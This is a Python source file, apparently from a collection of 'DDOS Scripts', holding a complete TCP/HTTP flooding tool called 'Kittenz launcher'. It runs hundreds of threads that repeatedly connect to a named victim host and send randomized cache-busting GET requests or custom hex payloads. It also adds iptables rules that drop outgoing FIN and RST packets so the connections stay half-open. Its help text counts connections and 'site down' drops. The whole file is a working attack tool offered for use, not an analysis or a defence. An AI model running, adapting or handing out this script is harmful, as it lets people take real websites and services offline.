Path: blob/master/DDOS Scripts/L4/TCP/kittenzlauncher.py
4565 views
#!/usr/bin/env python1import socket2from time import sleep3from threading import Thread, active_count4from os import system, geteuid5import random6import string7import signal8import ssl9import argparse10import sys1112example_text = ''' \nTips: Target page with 1500+ bytes size.1314example:15python %s example.com/test.php -p 80 -http16python %s example.com/hello/ -p 443 -ssl -http17python %s example.com -p 80 -http18python %s example.com -p 21 -payload 68656c6c6f19python %s example.com -p 222021Connects - TCP handshakes towards victim22Payloads - Recevied payloads by victim23Dropped - TCP handshakes or payloads rejected by victim (site down)2425''' % (sys.argv[0], sys.argv[0], sys.argv[0], sys.argv[0], sys.argv[0])2627parser = argparse.ArgumentParser(epilog=example_text, formatter_class=argparse.RawTextHelpFormatter)28parser._action_groups.pop()29required = parser.add_argument_group('required arguments')30optional = parser.add_argument_group('optional arguments')3132required.add_argument('target', help='Specify a target to attack')33required.add_argument('-p', dest='port', help='Specify port to attack', type=int, required=True)3435optional.add_argument('-t', dest='THREADS', type=int, default=300, help='Threads, default = 300 threads')36optional.add_argument('-ssl', action='store_true', help='Enable SSL')37optional.add_argument('-http', action='store_true', help='Enable HTTP headers (only if custom payload not set)')38optional.add_argument('-payload', help='Set payload as hex-string')39404142print("\nKittenz launcher.\n")43args = parser.parse_args()44connected = 045dropped = 046payloads = 047port = args.port484950# Sort out http URI in targets51target = args.target.replace('http://','').replace('https://','')5253if '/' in target and args.http:54path = target[target.find('/'):]55target = target[:target.find('/')]56else:57path = '/'585960# Decode custom payload61try:62if args.payload:63payload = args.payload.decode('hex')64else:65payload = ''66except:67print('Use hex string format as payload.')68sys.exit()697071# Check if script is running as root72if geteuid() != 0:73print("Run %s as root." % sys.argv[0])74sys.exit()757677# Catch CTRL+C to abort78stop = False79def signal_handler(signal, frame):80global stop81stop = True82signal.signal(signal.SIGINT, signal_handler)838485# String generator for Cache bypassing on load balancers (Random letters in lenght 3 to 8)86def string_generator(size=random.randint(3, 8), chars=string.ascii_uppercase + string.ascii_lowercase):87return ''.join(random.choice(chars) for _ in range(size))888990# Generate HTTP Payload91def http_payload():92payload = 'GET %s?%s HTTP/1.1\r\n' % (path, string_generator())93payload += 'Host: %s\r\n' % target94payload += 'User-Agent: Kittenz Launcher!!!\r\n'95payload += 'Connection: keep-alive\r\n\r\n'96return payload979899# DOS function100def spam(target_ip, payload):101global connected, dropped, payloads102while True:103s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)104# 2 sec TCP timeout105s.settimeout(2)106try:107s.connect((target_ip, port))108connected += 1109# Wrap connection with SSL if specified110if args.ssl:111s = ssl.wrap_socket(s, cert_reqs = ssl.CERT_NONE)112if args.http and not args.payload:113payload = http_payload()114s.send(payload)115payloads += 1116s.close()117except:118dropped += 1119if stop == True:120break121122123if __name__ == '__main__':124target_ip = socket.gethostbyname(target)125# add IP tables to drop FIN and RST packets towards TARGET126system('iptables -A OUTPUT -d %s -p tcp --dport %d --tcp-flags FIN FIN -j DROP' %( target_ip, port ))127system('iptables -A OUTPUT -d %s -p tcp --dport %d --tcp-flags RST RST -j DROP' %( target_ip, port ))128# Fire up threads running spam() function129threads = []130for i in range(args.THREADS):131t = Thread(target=spam, args=(target_ip, payload,))132threads.append(t)133t.start()134135while True:136# Keep going until ctrl+c is pressed137if active_count() == 1 or stop == True:138# when ctrl+c is pressed, restore IP tables.139system('iptables -D OUTPUT -d %s -p tcp --dport %d --tcp-flags FIN FIN -j DROP' %( target_ip, port ))140system('iptables -D OUTPUT -d %s -p tcp --dport %d --tcp-flags RST RST -j DROP' %( target_ip, port ))141print("")142break143else:144sleep(0.1)145sys.stdout.write('Connects: %d, Payloads: %d, Dropped: %d \r' % (connected, payloads, dropped))146sys.stdout.flush()147148149